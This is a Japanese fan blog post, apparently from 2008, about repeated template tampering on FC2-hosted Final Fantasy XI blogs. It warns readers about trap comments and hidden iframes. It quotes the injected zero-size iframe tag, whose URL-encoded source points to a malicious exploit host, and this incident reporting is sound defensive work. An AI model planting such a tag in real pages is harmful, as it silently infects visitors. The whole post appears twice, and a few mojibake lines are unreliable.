こんにちわ、第七猫です（´・ω・`）
のっけからしょぼーんな感じです。またまた嫌な報告ですが先週、当ブログと
同じくテンプレート改竄を受けたブログ様が、今週２度目の改竄を受けたとの
ご報告を頂きました…
もうね…(´；ω；｀)ブワッ
FFXI：戦士スキーのブログさん（テンプレート改竄事件再び。）
→ ttp://ffxiwar.blog91.fc2.com/blog-entry-221.html
３／１１の１４時時点で怪しげなインラインフレームは削除され対策済みと
いう事ですが、二日程非公開状態が続いていたみたいです。
また同じくテンプレート改竄の被害に遭いました「某青魔道士のFF11雑記」様も
現在コメントは特に出ておりませんが非公開モードになっております。
タイミングが重なっているのでとても気になる所です（´・ω・`）
−−−−−−−−−−−−３／１２追記−−−−−−−−−−−−
すいません、「某青魔道士のFF11雑記」様のコメントが以下にありました。
→ ttp://www16.ocn.ne.jp/~ff11blue/index.html
簡単に内容を書きますと…
どうやら「某青魔道士のFF11雑記」様でも再びテンプレ改竄が発生したそうです。
((((ﾟДﾟ；))))ガクガクプルプル
3/9(日)の事らしいのですが、R-Typeさんとほぼ同じタイミングみたいです。
更に驚くべきは…
>��PC２台を使用し、ID/Passを使用した作業を行うPCと他作業(ネットサーフィン)を
>行うPCを完全に分離。
>�⇔�PCのOSをクリーンインストール。
>��ID/Pass入力時はもう一方のPCは回線を切断する。
以上の対策を取っていらっしゃったみたいですが、これでも効果は現れず
２度目の改竄が見られたとか…ヽ(´Д`；)ﾉｱｩｱ...
該当の指定ＵＲＬは伏せられていましたが、１６進表記でサーバーはカナダ。
もうね…管理者云々の問題では無い気がしてきますね…(´；ω；｀)ブワッ
管理出来るってレベルじゃねーぞッ！って感じです…
これどうすれば良いの？って思っちゃいますよね（汗
管理者の皆様…あの…え〜っと…気をつけてください？(´；ω；｀)
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
概略を以下に↓
２度目の被害にあったFFXI：戦士スキーのブログさんのご報告より。
●前回同様、意図しないインラインフレームがテンプレートに追加（３／９昼過ぎ）
−−−−−−−以下コメント抜擢−−−−−−−
検出済み: Exploit-RealPlay (トロイの木馬)
−−−−−−−−−−−−−−−−−−−−−−
↓
●ブログをプライベートモードへ移行、テンプレ内を検索したところ
＜ iframe src=ｈｔｔp://%77%77%77%2E%68%65%6C%6C%68%2E%
6E%65%74 width=0 height=0＞＜ /iframe＞
というタグを発見。
↓
●これをデコードしてみると www■hellh■net というところで
前回同様サーバー所在地は香港
↓
●怪しげなインラインフレーム２、スクリプト１という結果でした。
前回同様 www■cnzz■com に繋がりがあり、こちらはサーバー所在地中国。
hellh.の方は登録日が2008.03.08とか超あたらしい（最近登録された物）
という流れらしいです((((ﾟДﾟ；))))ガクガクプルプル
もうね…なんと言ったら良いのか…（´・ω・`）
検出結果を見る限りでは、前回同様RealPlayerの脆弱性を利用するトロイ？
現時点で不明な点。
�．僖好錙璽品儿晃紂△燭辰殖尭�で再び改竄発生。
�△覆屡反佑牢浜�パスワードの変更をしないのか？
以上の点。
まずは�，任垢�、FFXI：戦士スキーのブログ：管理人さんのR-Typeさんも
仰ってる通り、今月初めの１回目でパスワードは変更済み。そして可能な限り
ウイルスチェックを行った結果問題無しというこの状況において…
簡単に再びこういう事が起きるという事（´・ω・`）
パスワードはかなり長く管理者でさえ覚え難い物だったらしいのですが、
それでも効果が現れず。そして管理者の使っているＰＣからは各社のチェックで
問題無しとの事。
そして�◆�
もし仮にそれぞれのブログさんのＦＣ２ＩＤが本当に漏洩しているとすると
なぜ犯人は管理パスワードの変更をしないのでしょう？
最悪の事態を考えますと…
犯人が手に入れたＦＣ２ＩＤとパスを使い、罠を仕掛けてパスワードを変更さえ
してしまえば、本来の管理人すら修正、管理できない状況になる。という事。
つまりはＦＣ２からの強制的なブログ公開を禁止されるまで、罠を張る事が出来る。
ここまで来るとどういった対策を取れば良いのか？どうすれば再発防止に
繋がるのかがまったく見当すらつかず…（；´д｀）ゞ
今現在、当ブログからは新たな罠は見つかっておりませんが皆様も十分
ご注意してください。・゜・(/Д`)・゜・。
必ずインラインフレーム機能はオフしておいて下さい！
前回の報告では３〜４日の検出誤差があった事から、ここ２〜３日は私も特に
警戒してみておきますが、どうしても間に合わない可能性もあります。
何かしらの異常が見られた場合は、至急ウイルスチェックをお願い致します。
特にＢＡ（←ＶＵ）最中、ワクテカで色々なブログ様へ足を伸ばす機会が多い時期です！
十分に注意くださるよう、お願い申し上げます。
本日にもＵＲＬ付きの罠コメントも２個ほど付きました。
日本語が意味不明杉てアホかと…ヽ(´Д`)ﾉ
ちなみに以前にご紹介したDr.WEBで、上記アドレスを調べてみた所…
ちゃんとＮＧ判定が出ました。（まぁ悲しい事ですが…）
一応、ソースチェッカー様でも調べてみましたが、明らかに黒確定。
速攻削除しましたが、コメントも頻繁に付くようですので大変不本意ながら
コメント・トラックバックを承認制とさせて貰います（´・ω・`）
折角コメントやトラバを頂けるのに、承認待ちとかやりたくなかったのですが…
事が事だけにこうせざるを得ないかなぁと。
なるべく早めにコメント確認しますのでご了承願います。
色々ゴチャゴチャ書きましたが、はっきり言って現時点で確約の取れる対応が
まったく無い状況です。
大変申し訳ありませんが、見に来て頂けた皆様。お手数ですが可能な限りの自衛
手段を実施して頂くよう、重ねてお願い申し上げます。
他ＭＭＯの前例を見ましても、ＦＣ２だけに留まらない危険はかなり高いです。
現時点では…
ウイルスチェック異常無し判定の管理者が、
想定し難いパスワードを設定した状態でも、
テンプレートが改竄される可能性がある。
としか言い様が有りません…ヽ(´Д`；)ﾉｱｩｱ...
正直管理出来る枠を超えています、こうなるとかなりお手上げの状態です。
ちなみに前回の騒動以来、第七猫はRealPlayerをアンインストールしました。
これで何か変わるのか…？分かりませんが、テンプレ改竄される可能性を
１％でも下げれるならと思い削除しました。
もし！ＦＣ２ＩＤパスを抜くトロイが存在したら…
もし！そのトロイがRealPlayerの脆弱性を突く物であれば…
もし！そのトロイは現状、チェックで検出できない新型だった場合は…
多少なりとは効果があるかもしれませんが、まぁ期待薄かなぁ…（´・ω・`）
他の管理者様はRealPlayerはインストールされていたのでしょうか？
アンインスコした第七猫ブログでも、もし再発するようであれば効果無しって
事ですかねぇ…
今後もしこういった被害が拡大する様であれば、ＦＣ２からの移転もしくは
最悪ブログ自体の閉鎖も視野に入れて検討しようと思っております(´；ω；｀)
自分一人のリスクで何とかなるならまだしも、コレばかりは…
((((ﾟДﾟ；))))ガクガクプルプル
ＦＣ２には個人的にも原因の究明と迅速な対応をメールしてみます。
ちなみに今後起こりうる可能性のある罠（ＲＯの前例）↓
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
・IE系ブラウザを使用している方へ：偽装JPGファイルに注意
実体はHTMLファイルで拡張子をJPGに偽装したファイルが
アップローダに上げられる例が確認されています。
・mixiに書き込まれるコメントに要注意！
mixiのアカウントをハックして、日記のコメントとして
垢ハックURLを貼るやり方があるとの情報が入りました。
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
上記のような罠も過去あったそうです。
偽装JPGファイルなんかもあるそうです。
参考までに。
＊そういえばメールで思い出したんですが、スクエアエニックスから
メール来てましたね。第七猫のメーラーではテキスト形式でしか表示を
許可してないので、見てみたらＴＨＭＬタグの嵐（笑
まぁ他にも「メール来た」との情報があったので公式の物でほぼ確定ですが
何の情報も無しにアレを開く気にはなれないですよね（苦笑
のっけからしょぼーんな感じです。またまた嫌な報告ですが先週、当ブログと
同じくテンプレート改竄を受けたブログ様が、今週２度目の改竄を受けたとの
ご報告を頂きました…
もうね…(´；ω；｀)ブワッ
FFXI：戦士スキーのブログさん（テンプレート改竄事件再び。）
→ ttp://ffxiwar.blog91.fc2.com/blog-entry-221.html
３／１１の１４時時点で怪しげなインラインフレームは削除され対策済みと
いう事ですが、二日程非公開状態が続いていたみたいです。
また同じくテンプレート改竄の被害に遭いました「某青魔道士のFF11雑記」様も
現在コメントは特に出ておりませんが非公開モードになっております。
タイミングが重なっているのでとても気になる所です（´・ω・`）
−−−−−−−−−−−−３／１２追記−−−−−−−−−−−−
すいません、「某青魔道士のFF11雑記」様のコメントが以下にありました。
→ ttp://www16.ocn.ne.jp/~ff11blue/index.html
簡単に内容を書きますと…
どうやら「某青魔道士のFF11雑記」様でも再びテンプレ改竄が発生したそうです。
((((ﾟДﾟ；))))ガクガクプルプル
3/9(日)の事らしいのですが、R-Typeさんとほぼ同じタイミングみたいです。
更に驚くべきは…
>��PC２台を使用し、ID/Passを使用した作業を行うPCと他作業(ネットサーフィン)を
>行うPCを完全に分離。
>�⇔�PCのOSをクリーンインストール。
>��ID/Pass入力時はもう一方のPCは回線を切断する。
以上の対策を取っていらっしゃったみたいですが、これでも効果は現れず
２度目の改竄が見られたとか…ヽ(´Д`；)ﾉｱｩｱ...
該当の指定ＵＲＬは伏せられていましたが、１６進表記でサーバーはカナダ。
もうね…管理者云々の問題では無い気がしてきますね…(´；ω；｀)ブワッ
管理出来るってレベルじゃねーぞッ！って感じです…
これどうすれば良いの？って思っちゃいますよね（汗
管理者の皆様…あの…え〜っと…気をつけてください？(´；ω；｀)
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
概略を以下に↓
２度目の被害にあったFFXI：戦士スキーのブログさんのご報告より。
●前回同様、意図しないインラインフレームがテンプレートに追加（３／９昼過ぎ）
−−−−−−−以下コメント抜擢−−−−−−−
検出済み: Exploit-RealPlay (トロイの木馬)
−−−−−−−−−−−−−−−−−−−−−−
↓
●ブログをプライベートモードへ移行、テンプレ内を検索したところ
＜ iframe src=ｈｔｔp://%77%77%77%2E%68%65%6C%6C%68%2E%
6E%65%74 width=0 height=0＞＜ /iframe＞
というタグを発見。
↓
●これをデコードしてみると www■hellh■net というところで
前回同様サーバー所在地は香港
↓
●怪しげなインラインフレーム２、スクリプト１という結果でした。
前回同様 www■cnzz■com に繋がりがあり、こちらはサーバー所在地中国。
hellh.の方は登録日が2008.03.08とか超あたらしい（最近登録された物）
という流れらしいです((((ﾟДﾟ；))))ガクガクプルプル
もうね…なんと言ったら良いのか…（´・ω・`）
検出結果を見る限りでは、前回同様RealPlayerの脆弱性を利用するトロイ？
現時点で不明な点。
�．僖好錙璽品儿晃紂△燭辰殖尭�で再び改竄発生。
�△覆屡反佑牢浜�パスワードの変更をしないのか？
以上の点。
まずは�，任垢�、FFXI：戦士スキーのブログ：管理人さんのR-Typeさんも
仰ってる通り、今月初めの１回目でパスワードは変更済み。そして可能な限り
ウイルスチェックを行った結果問題無しというこの状況において…
簡単に再びこういう事が起きるという事（´・ω・`）
パスワードはかなり長く管理者でさえ覚え難い物だったらしいのですが、
それでも効果が現れず。そして管理者の使っているＰＣからは各社のチェックで
問題無しとの事。
そして�◆�
もし仮にそれぞれのブログさんのＦＣ２ＩＤが本当に漏洩しているとすると
なぜ犯人は管理パスワードの変更をしないのでしょう？
最悪の事態を考えますと…
犯人が手に入れたＦＣ２ＩＤとパスを使い、罠を仕掛けてパスワードを変更さえ
してしまえば、本来の管理人すら修正、管理できない状況になる。という事。
つまりはＦＣ２からの強制的なブログ公開を禁止されるまで、罠を張る事が出来る。
ここまで来るとどういった対策を取れば良いのか？どうすれば再発防止に
繋がるのかがまったく見当すらつかず…（；´д｀）ゞ
今現在、当ブログからは新たな罠は見つかっておりませんが皆様も十分
ご注意してください。・゜・(/Д`)・゜・。
必ずインラインフレーム機能はオフしておいて下さい！
前回の報告では３〜４日の検出誤差があった事から、ここ２〜３日は私も特に
警戒してみておきますが、どうしても間に合わない可能性もあります。
何かしらの異常が見られた場合は、至急ウイルスチェックをお願い致します。
特にＢＡ（←ＶＵ）最中、ワクテカで色々なブログ様へ足を伸ばす機会が多い時期です！
十分に注意くださるよう、お願い申し上げます。
本日にもＵＲＬ付きの罠コメントも２個ほど付きました。
日本語が意味不明杉てアホかと…ヽ(´Д`)ﾉ
ちなみに以前にご紹介したDr.WEBで、上記アドレスを調べてみた所…
ちゃんとＮＧ判定が出ました。（まぁ悲しい事ですが…）
一応、ソースチェッカー様でも調べてみましたが、明らかに黒確定。
速攻削除しましたが、コメントも頻繁に付くようですので大変不本意ながら
コメント・トラックバックを承認制とさせて貰います（´・ω・`）
折角コメントやトラバを頂けるのに、承認待ちとかやりたくなかったのですが…
事が事だけにこうせざるを得ないかなぁと。
なるべく早めにコメント確認しますのでご了承願います。
色々ゴチャゴチャ書きましたが、はっきり言って現時点で確約の取れる対応が
まったく無い状況です。
大変申し訳ありませんが、見に来て頂けた皆様。お手数ですが可能な限りの自衛
手段を実施して頂くよう、重ねてお願い申し上げます。
他ＭＭＯの前例を見ましても、ＦＣ２だけに留まらない危険はかなり高いです。
現時点では…
ウイルスチェック異常無し判定の管理者が、
想定し難いパスワードを設定した状態でも、
テンプレートが改竄される可能性がある。
としか言い様が有りません…ヽ(´Д`；)ﾉｱｩｱ...
正直管理出来る枠を超えています、こうなるとかなりお手上げの状態です。
ちなみに前回の騒動以来、第七猫はRealPlayerをアンインストールしました。
これで何か変わるのか…？分かりませんが、テンプレ改竄される可能性を
１％でも下げれるならと思い削除しました。
もし！ＦＣ２ＩＤパスを抜くトロイが存在したら…
もし！そのトロイがRealPlayerの脆弱性を突く物であれば…
もし！そのトロイは現状、チェックで検出できない新型だった場合は…
多少なりとは効果があるかもしれませんが、まぁ期待薄かなぁ…（´・ω・`）
他の管理者様はRealPlayerはインストールされていたのでしょうか？
アンインスコした第七猫ブログでも、もし再発するようであれば効果無しって
事ですかねぇ…
今後もしこういった被害が拡大する様であれば、ＦＣ２からの移転もしくは
最悪ブログ自体の閉鎖も視野に入れて検討しようと思っております(´；ω；｀)
自分一人のリスクで何とかなるならまだしも、コレばかりは…
((((ﾟДﾟ；))))ガクガクプルプル
ＦＣ２には個人的にも原因の究明と迅速な対応をメールしてみます。
ちなみに今後起こりうる可能性のある罠（ＲＯの前例）↓
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
・IE系ブラウザを使用している方へ：偽装JPGファイルに注意
実体はHTMLファイルで拡張子をJPGに偽装したファイルが
アップローダに上げられる例が確認されています。
・mixiに書き込まれるコメントに要注意！
mixiのアカウントをハックして、日記のコメントとして
垢ハックURLを貼るやり方があるとの情報が入りました。
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
上記のような罠も過去あったそうです。
偽装JPGファイルなんかもあるそうです。
参考までに。
＊そういえばメールで思い出したんですが、スクエアエニックスから
メール来てましたね。第七猫のメーラーではテキスト形式でしか表示を
許可してないので、見てみたらＴＨＭＬタグの嵐（笑
まぁ他にも「メール来た」との情報があったので公式の物でほぼ確定ですが
何の情報も無しにアレを開く気にはなれないですよね（苦笑
